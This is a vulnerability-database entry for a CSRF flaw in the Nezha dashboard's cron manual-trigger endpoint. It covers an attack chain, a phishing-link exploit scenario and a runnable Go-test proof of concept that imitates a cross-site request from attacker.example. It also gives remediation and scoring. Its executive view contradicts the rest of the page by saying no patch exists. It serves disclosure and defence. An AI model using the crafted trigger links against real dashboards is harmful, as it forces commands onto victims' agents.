Skip to main content

Nezha CVE-2026-49396

HIGH
Cross-Site Request Forgery (CSRF) (CWE-352)
2026-06-10 https://github.com/nezhahq/nezha GHSA-8qhj-4f8c-j8qg
7.1
CVSS 3.1 · Vendor: https://github.com/nezhahq/nezha
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify victim Nezha dashboard and guess cron ID
  2. Delivery
    Craft attacker page or phishing link to /api/v1/cron/<id>/manual
  3. Exploit
    Lure authenticated victim to navigate
  4. Install
    Browser sends nz-jwt cookie on cross-site GET
  5. C2
    Dashboard authorizes request as victim and calls ManualTrigger
  6. Execute
    Stored command dispatched to victim's online agent
  7. Impact
    Command executes on agent host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V3 - Web Frontend Security Anti-CSRF tokens, SameSite cookies
MITRE ATT&CK

1 technique across 1 tactic: Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must be a currently authenticated Nezha dashboard user whose browser still holds the nz-jwt cookie when they navigate to (or are caused to navigate to) the attacker-supplied URL - user interaction is required (CVSS UI:R), typically a click on a link or visit to a page containing an auto-loading reference to /api/v1/cron/:id/manual. The attacker must know or successfully guess a numeric cron task ID owned by the victim (IDs are sequential integers, so guessing low values is realistic). The target cron task must already exist and contain a command meaningful to the attacker, and at least one of its assigned agents must be online for the task stream dispatch to land; the attacker cannot create or alter the command through this issue. Exploitation works against default deployments because SameSite=Lax cookies and the GET verb are the shipped configuration, but is limited to integrity/availability impact on agents the victim is already authorized to command.

Impact

The CVSS:3.1 vector AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L (base 7.1) is consistent with classic CSRF: network reachable, low complexity, no privileges on the attacker side, but user interaction (the victim must navigate or click) is required, and impact is integrity-high with availability-low and no confidentiality loss. EPSS and KEV are not provided in the input, so external exploitation telemetry is unknown; the vulnerability is not currently listed as actively exploited. Real-world risk is meaningfully constrained by three factors: the victim must already have at least one cron task whose stored command performs something interesting, the attacker must know or guess the numeric cron ID, and exploitation only invokes commands the victim previously authored and authorized - the attacker cannot inject new commands. Where Nezha is used to manage many agents with destructive or sensitive cron commands already configured, the impact is genuine (forced fleet-wide command execution via a single phishing link); in minimal deployments with no impactful cron tasks the practical impact is lower. No conflicts between signals; UI:R correctly reflects the required victim navigation.

Exploit ScenarioDerived

An attacker who knows a target uses Nezha (for example, from a forum signature or public dashboard hostname) emails or DMs the victim a link such as https://nezha.victim.example/api/v1/cron/7/manual, or embeds it as an image/redirect on an attacker-controlled page. When the still-authenticated victim clicks or even previews the link, the browser sends the nz-jwt cookie on the top-level GET navigation; the dashboard authorizes the request as the victim, and the cron task's stored command is dispatched to the victim's online agents. A working Go-test proof from the reporter demonstrates exactly one TaskTypeCommand being dispatched with the stored command payload.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 10, 2026

Cross-site request forgery in the Nezha monitoring dashboard (versions >= 1.0.0, < 2.0.14) allows remote attackers to force a logged-in user's browser to trigger any of the victim's existing cron tasks via a GET navigation to /api/v1/cron/:id/manual, causing the stored command to be dispatched to the victim's online agents. The flaw stems from a state-changing GET endpoint protected only by a SameSite=Lax JWT cookie with no CSRF token, Origin/Referer check, or Fetch Metadata guard. No public exploit identified at time of analysis beyond the reporter's safe Go-test proof; the issue is not in CISA KEV.

RemediationAI

Upgrade to Nezha 2.0.14 or later, which is the vendor-released fixed version per GHSA-8qhj-4f8c-j8qg (https://github.com/nezhahq/nezha/security/advisories/GHSA-8qhj-4f8c-j8qg). If immediate upgrade is not possible, operators can reduce exposure by reverse-proxying the dashboard and stripping cross-site GETs to /api/v1/cron/*/manual (for example, rejecting requests whose Sec-Fetch-Site is cross-site or whose Referer/Origin does not match the dashboard origin), at the cost of breaking any legitimate flow that depends on third-party referers; restricting dashboard access to a VPN or IP allowlist limits drive-by CSRF reach but does not stop attacks launched from within trusted networks; and instructing users to log out of the dashboard when not actively administering it shrinks the window in which the nz-jwt cookie is replayable. Reviewing existing cron tasks and removing or sanitizing any that run destructive shell commands further reduces blast radius. Do not rely on SameSite=Lax alone - Lax cookies are still attached to top-level cross-site GETs, which is exactly the vector exploited here.

Affected Packages

go github.com/nezhahq/nezha fix: 2.0.14

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Nezha is an open-source server/agent monitoring platform written in Go (pkg:go/github.com_nezhahq_nezha). Its dashboard authenticates API calls using a JWT carried in the nz-jwt cookie configured with SameSite=Lax (cmd/dashboard/controller/jwt.go:23-46). The manual cron trigger is registered as auth.GET("/cron/:id/manual", ...) in cmd/dashboard/controller/controller.go:131-134, and the handler calls singleton.ManualTrigger which immediately dispatches a pb.Task{Type: TaskTypeCommand, Data: cr.Command} to the agent's TaskStream (service/singleton/crontask.go:249-304). The root cause is CWE-352 (Cross-Site Request Forgery): a state-changing action exposed over a safe HTTP verb (GET) with cookie-based auth and no CSRF/origin defense. Because browsers attach SameSite=Lax cookies to top-level cross-site GET navigations, an attacker-controlled page or link is sufficient to ride the victim's session.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nezhahq/nezha) PRIMARY 7.1 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L
SUSE HIGH

Primary rating from Vendor (https://github.com/nezhahq/nezha).

CVSS VectorVendor: https://github.com/nezhahq/nezha

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

DescriptionCVE.org

Summary

The dashboard exposes the cron manual-trigger action as an authenticated GET /api/v1/cron/:id/manual endpoint. Dashboard JWTs are sent in the nz-jwt cookie and configured with SameSite=Lax, which browsers include on top-level cross-site GET navigations. Because this state-changing GET endpoint has no CSRF token, origin validation, or fetch-metadata guard, an attacker can cause a logged-in Nezha user to trigger one of their existing cron tasks by navigating the victim's browser to the manual-trigger URL.

If the targeted cron task sends a command to an online agent, the stored command is dispatched to the agent task stream. The attacker cannot create or modify the cron command through this issue alone, but can force execution of a command that the victim already saved and is authorized to run.

Details

Source-to-sink chain:

  1. The dashboard registers the manual cron trigger as a GET route under the authenticated API group: auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron)) at cmd/dashboard/controller/controller.go:131-134.
  2. JWT auth is cookie-enabled: CookieName: "nz-jwt", SendCookie: true, CookieSameSite: http.SameSiteLaxMode, and TokenLookup: "header: Authorization, query: token, cookie: nz-jwt" at cmd/dashboard/controller/jwt.go:23-46.
  3. The handler parses the route ID, loads the cron object, checks only normal object ownership via cr.HasPermission(c), then calls singleton.ManualTrigger(cr) at cmd/dashboard/controller/cron.go:170-187.
  4. ManualTrigger immediately runs CronTrigger(cr)() at service/singleton/crontask.go:249-250.
  5. CronTrigger dispatches the stored command to online eligible agents via s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand}) at service/singleton/crontask.go:289-304 after the owner/server check in cronCanSendToServer (service/singleton/crontask.go:315-317).
  6. Object authorization is user ownership/admin only: Common.HasPermission returns true for admins or matching UserID at model/common.go:44-56. There is no CSRF token, Origin/Referer validation, or Fetch Metadata check on this GET action.

False-positive screening:

  • The endpoint is not read-only: the safe proof below observed an in-memory agent stream receiving the command task.
  • The route is authenticated, and the unauthenticated negative control failed with ApiErrorUnauthorized and dispatched no task.
  • SameSite=Lax mitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive.
  • The attacker must know or guess a cron ID owned by the victim. IDs are numeric. The issue does not allow creating or editing a command; it forces execution of an existing stored task.
  • The permission check still limits the triggered task to the victim's own task or an admin's task, but CSRF abuses the victim's browser/session to satisfy that check.

PoC

Safe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text touch /tmp/should-not-run. It then performs two requests:

  1. Negative control: cross-site-style GET without the nz-jwt cookie. Expected result: response contains ApiErrorUnauthorized; zero tasks are dispatched.
  2. Positive proof: cross-site-style GET with the victim's nz-jwt cookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream with Id=7, Type=model.TaskTypeCommand, and Data="touch /tmp/should-not-run".

Command run from a clean checkout of the tested tree:

bash
cat >/tmp/nezha-docs-stub.go <<'EOF'
package docs

var SwaggerInfo = struct {
	Version string
}{Version: "test"}
EOF

cat >/tmp/nezha-cron-csrf-poc-test.go <<'EOF'
package controller

import (
	"context"
	"encoding/json"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"
	"time"

	"github.com/gin-gonic/gin"
	"github.com/patrickmn/go-cache"
	"google.golang.org/grpc/metadata"
	"gorm.io/driver/sqlite"
	"gorm.io/gorm"

	"github.com/nezhahq/nezha/model"
	"github.com/nezhahq/nezha/pkg/i18n"
	pb "github.com/nezhahq/nezha/proto"
	"github.com/nezhahq/nezha/service/singleton"
)

type capturedTaskStream struct { tasks []*pb.Task }

func (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil }
func (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled }
func (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SetTrailer(metadata.MD) {}
func (s *capturedTaskStream) Context() context.Context { return context.Background() }
func (s *capturedTaskStream) SendMsg(any) error { return nil }
func (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled }

func TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) {
	gin.SetMode(gin.TestMode)
	db, err := gorm.Open(sqlite.Open("file:cron_csrf_poc?mode=memory&cache=shared"), &gorm.Config{})
	if err != nil { t.Fatal(err) }
	if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.Cron{}); err != nil { t.Fatal(err) }
	if err := db.Create(&model.User{Common: model.Common{ID: 100}, Username: "victim", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) }
	if err := db.Create(&model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: "victim-agent"}).Error; err != nil { t.Fatal(err) }

	singleton.DB = db
	singleton.Loc = time.UTC
	singleton.Cache = cache.New(time.Minute, time.Minute)
	singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations)
	singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: "test"}, JWTSecretKey: "test-secret-for-cron-csrf-poc", JWTTimeout: 1}}
	singleton.ServerShared = singleton.NewServerClass()
	singleton.CronShared = singleton.NewCronClass()
	defer singleton.CronShared.Stop()

	stream := &capturedTaskStream{}
	server, ok := singleton.ServerShared.Get(200)
	if !ok { t.Fatal("server missing from singleton") }
	server.TaskStream = stream

	cronTask := &model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: "victim cron", TaskType: model.CronTypeCronTask, Command: "touch /tmp/should-not-run", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll}
	singleton.CronShared.Update(cronTask)

	authMiddleware := initParams()
	if err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) }
	token, _, err := authMiddleware.TokenGenerator(map[string]interface{}{"user_id": "100", "ip": "203.0.113.10"})
	if err != nil { t.Fatal(err) }

	r := gin.New()
	r.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, "203.0.113.10"); c.Next() })
	auth := r.Group("", authMiddleware.MiddlewareFunc())
	auth.GET("/api/v1/cron/:id/manual", commonHandler(manualTriggerCron))

	wNoCookie := httptest.NewRecorder()
	reqNoCookie := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
	reqNoCookie.Header.Set("Origin", "https://attacker.example")
	reqNoCookie.Header.Set("Sec-Fetch-Site", "cross-site")
	r.ServeHTTP(wNoCookie, reqNoCookie)
	if !strings.Contains(wNoCookie.Body.String(), "ApiErrorUnauthorized") { t.Fatalf("expected unauthenticated control to fail, got status=%d body=%s", wNoCookie.Code, wNoCookie.Body.String()) }
	if len(stream.tasks) != 0 { t.Fatalf("unauthenticated control dispatched %d task(s)", len(stream.tasks)) }

	w := httptest.NewRecorder()
	req := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
	req.Header.Set("Origin", "https://attacker.example")
	req.Header.Set("Sec-Fetch-Site", "cross-site")
	req.AddCookie(&http.Cookie{Name: "nz-jwt", Value: token})
	r.ServeHTTP(w, req)

	var resp struct { Success bool `json:"success"`; Error string `json:"error"` }
	if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil { t.Fatalf("decode response: %v body=%s", err, w.Body.String()) }
	if !resp.Success { t.Fatalf("manual trigger failed: status=%d body=%s", w.Code, w.Body.String()) }
	if len(stream.tasks) != 1 { t.Fatalf("expected one dispatched task, got %d", len(stream.tasks)) }
	dispatched := stream.tasks[0]
	if dispatched.Id != 7 || dispatched.Type != model.TaskTypeCommand || dispatched.Data != "touch /tmp/should-not-run" { t.Fatalf("unexpected dispatched task: id=%d type=%d data=%q", dispatched.Id, dispatched.Type, dispatched.Data) }
}
EOF

cat >/tmp/nezha-overlay-cron-csrf.json <<'EOF'
{
  "Replace": {
    "/path/to/nezha/cmd/dashboard/docs/docs.go": "/tmp/nezha-docs-stub.go",
    "/path/to/nezha/cmd/dashboard/controller/cron_csrf_poc_test.go": "/tmp/nezha-cron-csrf-poc-test.go"
  }
}
EOF
# Replace /path/to/nezha above with the local checkout path, then run:
go test -vet=off -overlay=/tmp/nezha-overlay-cron-csrf.json ./cmd/dashboard/controller -run TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET -count=1 -v

Observed output in this environment:

text
=== RUN   TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET
--- PASS: TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET (0.00s)
PASS
ok  	github.com/nezhahq/nezha/cmd/dashboard/controller	0.019s

The -vet=off flag was only needed because this checkout lacks the generated cmd/dashboard/docs directory and Go vet still tries to chdir into the overlay-created package directory. The overlay includes a minimal docs package stub so the controller package can compile without generating Swagger files.

Cleanup:

bash
rm -f /tmp/nezha-docs-stub.go /tmp/nezha-cron-csrf-poc-test.go /tmp/nezha-overlay-cron-csrf.json

Impact

A remote attacker can cause a logged-in dashboard user to trigger an existing cron task by making the user's browser navigate to /api/v1/cron/<known-id>/manual. If that cron task dispatches an agent command, the command is sent to the victim's online agent without the victim intentionally clicking the manual trigger in the dashboard.

Security impact is integrity and availability:

  • Integrity: forced execution of a stored command on victim-controlled agents.
  • Availability: forced execution of disruptive stored tasks, repeated task starts, or repeated notifications/offline failure paths.
  • Confidentiality: not directly demonstrated; the PoC does not show data exfiltration.

Suggested remediation

  • Make manual cron triggering a non-idempotent method such as POST /api/v1/cron/:id/manual instead of GET.
  • Require a CSRF token for cookie-authenticated state-changing requests, or reject unsafe cross-site requests with Origin/Referer and Fetch Metadata validation.
  • Consider not accepting JWTs from cookies for state-changing API calls unless a CSRF token is present.
  • Add a regression test that sends a cross-site-style GET with a valid cookie and asserts no cron task is dispatched.
  • If frontend compatibility requires cookies, keep SameSite=Lax or stricter, but do not rely on it to protect state-changing GET routes.

Executive ViewAI

Why It Matters

Nezha monitoring dashboard versions prior to 2.0.14 contain a cross-site request forgery vulnerability allowing attackers to trigger authenticated users' stored automation tasks without authorization. No public exploit code has been identified at time of analysis. This directly compromises operational control over infrastructure automation and affects all dashboard administrators.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Implement these interim mitigations: (1) Enforce CSRF token validation on all cron task endpoints; (2) Upgrade JWT cookie SameSite policy from Lax to Strict; (3) Implement strict HTTP Origin and Referer header validation; (4) Deploy web application firewall rules rejecting cross-origin requests to /api/v1/cron/* endpoints; (5) Restrict dashboard network access to internal corporate networks; (6) Require re-authentication for manual cron task triggers; (7) Enable comprehensive audit logging of /api/v1/cron/:id/manual access; (8) Disable manual cron task execution feature if not operationally essential.

Threat Intelligence Overview

EPSS Score
0.0%
Top 95% exploitable
Threat Intel
1
1 sources
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Affected Products (CPE)CVE.org

pkg:go/github.com_nezhahq_nezha

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy